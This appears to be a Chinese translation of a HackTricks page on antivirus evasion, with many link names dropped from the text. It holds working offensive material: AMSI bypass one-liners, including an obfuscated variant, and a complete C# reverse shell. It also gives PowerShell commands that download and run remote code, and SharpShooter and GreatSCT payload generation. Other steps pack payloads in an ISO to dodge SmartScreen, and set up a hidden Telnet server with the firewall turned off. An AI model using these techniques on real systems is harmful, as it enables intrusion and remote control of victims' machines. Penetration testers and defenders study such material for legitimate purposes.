  • JavaScript和VBScript

  • Office VBA宏

它允许防病毒解决方案检查脚本行为,通过以未加密和未混淆的形式公开脚本内容。

运行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')将在Windows Defender上产生以下警报。

请注意,它在路径之前加上amsi:,然后是脚本运行的可执行文件的路径,本例中为powershell.exe

我们没有将任何文件写入磁盘,但由于AMSI的存在,仍然在内存中被捕获。

有几种方法可以规避AMSI:

  • 混淆

由于AMSI主要用于静态检测,因此修改您尝试加载的脚本可能是规避检测的好方法。

但是,即使脚本有多个层,AMSI也有解混淆脚本的能力,因此,取决于如何执行,混淆可能不是一个好选择。这使得规避并不是那么直截了当。尽管如此,有时候,您只需要更改几个变量名,就可以避免被检测,因此这取决于某些内容被标记的程度。

  • AMSI绕过

由于AMSI是通过将DLL加载到powershell(也包括cscript.exe、wscript.exe等)进程中实现的,因此即使作为非特权用户运行,也可以轻松篡改它。由于AMSI实现中存在这个缺陷,研究人员已经找到了多种规避AMSI扫描的方法。

强制错误

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

只需要一行PowerShell代码就可以使AMSI对当前PowerShell进程无效。当然,这行代码已经被AMSI本身标记,因此需要进行一些修改才能使用这种技术。

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

内存补丁

混淆

有几种工具可用于混淆C#明文代码,生成元编程模板以编译二进制文件或混淆已编译的二进制文件,例如:

SmartScreen和MoTW

当从互联网下载并执行一些可执行文件时,您可能会看到这个屏幕。

Microsoft Defender SmartScreen是一种旨在保护最终用户免受运行潜在恶意应用程序的安全机制。

SmartScreen主要采用基于声誉的方法,意味着不常见的下载应用程序将触发SmartScreen,从而警告并阻止最终用户执行文件(尽管仍可以通过单击更多信息 -> 仍然运行来执行文件)。

重要提示:使用受信任签名证书签名的可执行文件不会触发SmartScreen。

防止您的有效负载获得Mark of The Web的一种非常有效的方法是将它们打包到某种容器中,比如ISO。这是因为Mark-of-the-Web(MOTW)无法应用于非NTFS卷。

示例用法:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

C#程序集反射

将C#二进制文件加载到内存中已经为人所知已久,仍然是一种非常好的方法,可以在运行后渗透工具时避免被杀毒软件发现。

由于有效负载将直接加载到内存中而不会触及磁盘,我们只需要担心为整个过程打补丁AMS。大多数C2框架(如sliver、Covenant、metasploit、CobaltStrike、Havoc等)已经提供了直接在内存中执行C#程序集的能力,但有不同的执行方式:

  • 分叉和运行

它涉及生成一个新的牺牲进程,将您的后渗透恶意代码注入到该新进程中,执行您的恶意代码,完成后终止新进程。这种方法的好处和缺点都有。分叉和运行方法的好处在于执行发生在我们的Beacon植入进程之外。这意味着如果我们的后渗透操作出了问题或被发现,我们的植入物存活的机会要大得多。缺点是您被行为检测发现的机会更大。

  • 内联

这是将后渗透恶意代码注入到自己的进程中。这样,您可以避免创建新进程并使其被杀毒软件扫描,但缺点是如果执行有效负载时出现问题,您的Beacon丢失的可能性要大得多,因为它可能会崩溃。

使用其他编程语言

通过允许访问解释器二进制文件和SMB共享上的环境,您可以在受损机器的内存中执行这些语言中的任意代码。

该存储库指出:Defender仍然会扫描脚本,但通过利用Go、Java、PHP等,我们有更多灵活性来绕过静态签名。在这些语言中使用随机未混淆的反向外壳脚本进行测试已被证明是成功的。

高级逃避

逃避是一个非常复杂的主题,有时您必须考虑一个系统中许多不同来源的遥测,因此在成熟的环境中完全不被检测到几乎是不可能的。

您对抗的每个环境都有其优势和劣势。

旧技术

检查Defender发现的恶意部分

Telnet服务器

在Windows10之前,所有Windows都带有一个Telnet服务器,您可以安装它(作为管理员)执行:

pkgmgr /iu:"TelnetServer" /quiet

让它在系统启动时启动,现在运行它:

sc config TlntSVR start= auto obj= localsystem

更改telnet端口(隐蔽)并禁用防火墙:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

在主机上:执行 winvnc.exe 并配置服务器:

  • 启用选项 Disable TrayIcon

  • 在 VNC Password 中设置密码

  • 在 View-Only Password 中设置密码

然后,将二进制文件 winvnc.exe 和新创建的文件 UltraVNC.ini 移动到受害者内

反向连接

攻击者应该在主机内执行二进制文件 vncviewer.exe -listen 5900,这样它将准备好捕获反向VNC连接。然后,在受害者内:启动 winvnc 守护程序 winvnc.exe -run 并运行 winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

**警告:**为了保持隐蔽,您必须避免做一些事情

GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

在GreatSCT内部:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

现在使用 msfconsole -r file.rc 启动 lister,然后执行以下 xml payload:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

当前的防御程序会非常快速地终止该进程。

编译我们自己的反向 shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

第一个 C# 反向 shell

使用以下命令进行编译:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

使用方法:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

使用编译器的C#

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

自动下载和执行:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

使用Python构建注入器示例:

其他工具

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

更多

我强烈建议您查看这个关于实际AV逃避的。

提供的其他针对沙箱的一些建议

您可以使用 和以下 PowerShell 脚本检查易受 DLL 旁路加载攻击的程序:

我将使用的项目。

我们的 shellcode(使用 编码)和代理 DLL 在 中都有 0/26 的检测率!我会称之为成功。

我强烈建议您观看 关于 DLL Sideloading 以及 以更深入地了解我们讨论的内容。

AMSI旨在防止“”。最初,防病毒软件只能扫描磁盘上的文件,因此,如果您以某种方式直接在内存中执行载荷,防病毒软件无法阻止它,因为它没有足够的可见性。

强制AMSI初始化失败(amsiInitFailed)将导致当前进程不会启动任何扫描。最初由披露,微软已经开发了一个签名来防止更广泛的使用。

这是我从这个中获取的修改后的AMSI绕过方法。

这种技术最初是由发现的,它涉及查找amsi.dll中“AmsiScanBuffer”函数的地址(负责扫描用户提供的输入),并用指令覆盖它以返回E_INVALIDARG代码,这样,实际扫描的结果将返回0,被解释为干净的结果。

请阅读以获取更详细的解释。

还有许多其他用于绕过PowerShell的AMSI的技术,请查看和以了解更多信息。

:C#混淆器

:该项目的目标是提供编译套件的开源分支,能够通过和防篡改提供增强软件安全性。

:ADVobfuscator演示了如何使用C++11/14语言在编译时生成混淆代码,而不使用任何外部工具并且不修改编译器。

:通过C++模板元编程框架生成一层混淆操作,使想要破解应用程序的人的生活变得更加困难。

**:Alcatraz是一种x64二进制混淆器,能够混淆各种不同的pe文件,包括:.exe、.dll、.sys

:Metame是一个用于任意可执行文件的简单变形代码引擎。

:ROPfuscator是一个针对LLVM支持的语言使用ROP(返回导向编程)的细粒度代码混淆框架。ROPfuscator通过将常规指令转换为ROP链来在汇编代码级别混淆程序,从而扰乱我们对正常控制流的自然概念。

:Nimcrypt是一个用Nim编写的.NET PE加密器。

**:Inceptor能够将现有的EXE/DLL转换为shellcode,然后加载它们。

MoTW(Mark of The Web)是一个带有Zone.Identifier名称的,在从互联网下载文件时会自动创建,以及它被下载的URL。

是一个将有效负载打包到输出容器中以规避Mark-of-the-Web的工具。

以下是使用将有效负载打包在ISO文件中绕过SmartScreen的演示。

如果您想了解更多关于C#程序集加载的信息,请查看这篇文章以及他们的InlineExecute-Assembly BOF ()

您还可以从PowerShell加载C#程序集,请查看和。

如中提出的,通过让受损机器访问安装在攻击者控制的SMB共享上的解释器环境,可以使用其他语言执行恶意代码。

我强烈建议您观看的这个演讲,以了解更多关于高级逃避技术的入门。

这也是关于深度逃避的另一个很棒的演讲。

您可以使用,它将删除二进制文件的部分,直到找出Defender发现为恶意的部分并将其拆分给您。 另一个执行相同操作的工具是,提供在上的开放网络服务。

从以下链接下载:(下载二进制文件,而不是安装程序)

如果winvnc已经在运行,请不要启动它,否则会触发。使用tasklist | findstr winvnc检查是否正在运行

不要在没有UltraVNC.ini的同一目录中启动winvnc,否则会导致打开

不要运行winvnc -h以获取帮助,否则会触发

从以下链接下载:

C#混淆器列表:

从零开始学习AWS黑客技术 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看!

获取

探索,我们的独家

加入 💬 或 或 关注我们的Twitter 🐦 。

通过向和 github仓库提交PR来分享您的黑客技巧。

🪟
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS和HackTricks周边产品
PEASS家族
NFT
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
@m2rc_p
ThreatCheck
YouTube播放列表
@mgeeky
Siofra
@flangvik
SharpDLLProxy
SGN
antiscan.me
S3cur3Th1sSh1t 的 twitch VOD
ippsec 的视频
Freeze
无文件恶意软件
Matt Graeber
Github Gist
@RastaMouse
https://rastamouse.me/memory-patching-amsi-bypass/
InvisibilityCloak
Obfuscator-LLVM
LLVM
代码混淆
ADVobfuscator
obfy
Alcatraz
metame
ropfuscator
Nimcrypt
inceptor
NTFS备用数据流
PackMyPayload
PackMyPayload
https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/
https://github.com/xforcered/InlineExecute-Assembly
Invoke-SharpLoader
S3cur3th1sSh1t的视频
https://github.com/deeexcee-io/LOI-Bins
@ATTL4S
@mariuszbit
ThreatCheck
avred
https://avred.r00ted.ch/
http://www.uvnc.com/downloads/ultravnc.html
弹出窗口
配置窗口
弹出窗口
https://github.com/GreatSCT/GreatSCT
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
https://github.com/NotPrab/.NET-Obfuscator
https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
https://github.com/l0ss/Grouper2
http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/
https://github.com/cocomelonc/peekaboo
https://github.com/persianhydra/Xeexe-TopAntivirusEvasion
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
此存储库
此页面
antiscan.me对比普通Havoc EXE有效负载与普通Havoc DLL的检测率
检查从互联网下载的文件的Zone.Identifier ADS。
来源:
#malware-dev频道
https://youtu.be/StSLxFbVz0M?t=1439
Red Team VX Discord